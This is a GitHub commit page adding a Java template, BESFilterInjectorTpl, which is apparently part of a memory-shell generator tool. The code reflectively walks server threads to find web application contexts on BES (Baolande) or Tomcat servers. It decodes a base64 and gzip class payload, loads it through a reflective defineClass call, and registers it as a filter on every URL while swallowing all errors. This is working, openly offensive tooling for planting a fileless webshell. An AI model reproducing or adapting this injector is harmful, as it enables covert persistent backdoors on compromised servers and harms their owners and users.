Skip to content

Commit ce5e7d5

Browse files
committed
add: 添加对 BES(宝兰德)Filter/Listener 的支持
1 parent cec7105 commit ce5e7d5

File tree

2 files changed

+473
-0
lines changed

2 files changed

+473
-0
lines changed
Lines changed: 258 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,258 @@
1+
package jmg.core.template;
2+
3+
import java.io.*;
4+
import java.lang.reflect.Constructor;
5+
import java.lang.reflect.Field;
6+
import java.lang.reflect.InvocationTargetException;
7+
import java.lang.reflect.Method;
8+
import java.util.ArrayList;
9+
import java.util.HashMap;
10+
import java.util.List;
11+
import java.util.Map;
12+
import java.util.zip.GZIPInputStream;
13+
14+
15+
public class BESFilterInjectorTpl {
16+
17+
public String getUrlPattern() {
18+
return "/*";
19+
}
20+
21+
22+
public String getClassName() {
23+
return "";
24+
}
25+
26+
public String getBase64String() throws IOException {
27+
return "";
28+
}
29+
30+
static {
31+
new BESFilterInjectorTpl();
32+
}
33+
34+
public BESFilterInjectorTpl() {
35+
try {
36+
List<Object> contexts = getContext();
37+
for (Object context : contexts) {
38+
Object filter = getFilter(context);
39+
addFilter(context, filter);
40+
}
41+
} catch (Exception ignored) {
42+
43+
}
44+
45+
46+
}
47+
48+
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
49+
List<Object> contexts = new ArrayList();
50+
Thread[] threads = getThreads();
51+
try {
52+
for (Thread thread : threads) {
53+
if (thread.getName().contains("ContainerBackgroundProcessor")) {
54+
HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children");
55+
for (Object key : childrenMap.keySet()) {
56+
HashMap children = (HashMap) getFV(childrenMap.get(key), "children");
57+
for (Object key1 : children.keySet()) {
58+
Object context = children.get(key1);
59+
if (context != null) contexts.add(context);
60+
}
61+
}
62+
}
63+
}
64+
} catch (Exception ignored) {
65+
66+
}
67+
return contexts;
68+
}
69+
70+
public Thread[] getThreads() {
71+
Thread[] var0 = null;
72+
73+
try {
74+
var0 = (Thread[]) (invokeMethod(Thread.class, "getThreads"));
75+
} catch (NoSuchMethodException | InvocationTargetException | IllegalAccessException var3) {
76+
ThreadGroup var2 = Thread.currentThread().getThreadGroup();
77+
var0 = new Thread[var2.activeCount()];
78+
var2.enumerate(var0);
79+
}
80+
81+
return var0;
82+
}
83+
84+
private Object getFilter(Object context) throws Exception {
85+
Object filter = null;
86+
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
87+
if (classLoader == null) {
88+
classLoader = context.getClass().getClassLoader();
89+
}
90+
try {
91+
filter = classLoader.loadClass(getClassName()).newInstance();
92+
} catch (Exception e1) {
93+
try {
94+
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
95+
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
96+
defineClass.setAccessible(true);
97+
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
98+
filter = clazz.newInstance();
99+
} catch (Exception ignored) {
100+
101+
}
102+
103+
}
104+
return filter;
105+
}
106+
107+
public void addFilter(Object context, Object filter) throws Exception {
108+
String filterName = filter.getClass().getSimpleName();
109+
if (isInjected(context, filterName)) {
110+
return;
111+
}
112+
try {
113+
Object filterDef;
114+
Object filterMap;
115+
try {
116+
filterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
117+
filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance();
118+
} catch (Exception e2) {
119+
try {
120+
filterDef = Class.forName("com.bes.enterprise.util.descriptor.web.FilterDef").newInstance();
121+
filterMap = Class.forName("com.bes.enterprise.util.descriptor.web.FilterMap").newInstance();
122+
} catch (Exception e3) {
123+
filterDef = Class.forName("com.bes.enterprise.web.util.descriptor.web.FilterDef").newInstance();
124+
filterMap = Class.forName("com.bes.enterprise.web.util.descriptor.web.FilterMap").newInstance();
125+
}
126+
}
127+
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
128+
invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{getClassName()});
129+
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
130+
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
131+
invokeMethod(filterMap, "setDispatcher", new Class[]{String.class}, new Object[]{"REQUEST"});
132+
invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
133+
Constructor<?>[] constructors;
134+
try {
135+
constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
136+
} catch (Exception e) {
137+
constructors = Class.forName("com.bes.enterprise.webtier.core.ApplicationFilterConfig").getDeclaredConstructors();
138+
}
139+
try {
140+
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
141+
} catch (Exception e) {
142+
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
143+
}
144+
constructors[0].setAccessible(true);
145+
Object filterConfig = constructors[0].newInstance(context, filterDef);
146+
Map filterConfigs = (Map) getFV(context, "filterConfigs");
147+
filterConfigs.put(filterName, filterConfig);
148+
149+
} catch (Exception ignored) {
150+
151+
}
152+
}
153+
154+
155+
public boolean isInjected(Object context, String filterName) throws Exception {
156+
Map filterConfigs = (Map) getFV(context, "filterConfigs");
157+
for (Object key : filterConfigs.keySet()) {
158+
if (key.toString().contains(filterName)) {
159+
return true;
160+
}
161+
}
162+
return false;
163+
}
164+
165+
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
166+
Class<?> decoderClass;
167+
try {
168+
decoderClass = Class.forName("sun.misc.BASE64Decoder");
169+
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
170+
} catch (Exception ignored) {
171+
decoderClass = Class.forName("java.util.Base64");
172+
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
173+
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
174+
}
175+
}
176+
177+
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
178+
ByteArrayOutputStream out = new ByteArrayOutputStream();
179+
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
180+
GZIPInputStream ungzip = new GZIPInputStream(in);
181+
byte[] buffer = new byte[256];
182+
int n;
183+
while ((n = ungzip.read(buffer)) >= 0) {
184+
out.write(buffer, 0, n);
185+
}
186+
return out.toByteArray();
187+
}
188+
189+
synchronized void setFV(Object var0, String var1, Object val) throws Exception {
190+
getF(var0, var1).set(var0, val);
191+
}
192+
193+
static Object getFV(Object obj, String fieldName) throws Exception {
194+
Field field = getF(obj, fieldName);
195+
field.setAccessible(true);
196+
return field.get(obj);
197+
}
198+
199+
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
200+
Class<?> clazz = obj.getClass();
201+
while (clazz != null) {
202+
try {
203+
Field field = clazz.getDeclaredField(fieldName);
204+
field.setAccessible(true);
205+
return field;
206+
} catch (NoSuchFieldException e) {
207+
clazz = clazz.getSuperclass();
208+
}
209+
}
210+
throw new NoSuchFieldException(fieldName);
211+
}
212+
213+
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
214+
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
215+
}
216+
217+
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
218+
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
219+
Method method = null;
220+
221+
Class tempClass = clazz;
222+
while (method == null && tempClass != null) {
223+
try {
224+
if (paramClazz == null) {
225+
// Get all declared methods of the class
226+
Method[] methods = tempClass.getDeclaredMethods();
227+
for (int i = 0; i < methods.length; i++) {
228+
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
229+
method = methods[i];
230+
break;
231+
}
232+
}
233+
} else {
234+
method = tempClass.getDeclaredMethod(methodName, paramClazz);
235+
}
236+
} catch (NoSuchMethodException e) {
237+
tempClass = tempClass.getSuperclass();
238+
}
239+
}
240+
if (method == null) {
241+
throw new NoSuchMethodException(methodName);
242+
}
243+
method.setAccessible(true);
244+
if (obj instanceof Class) {
245+
try {
246+
return method.invoke(null, param);
247+
} catch (IllegalAccessException e) {
248+
throw new RuntimeException(e.getMessage());
249+
}
250+
} else {
251+
try {
252+
return method.invoke(obj, param);
253+
} catch (IllegalAccessException e) {
254+
throw new RuntimeException(e.getMessage());
255+
}
256+
}
257+
}
258+
}

0 commit comments

Comments
 (0)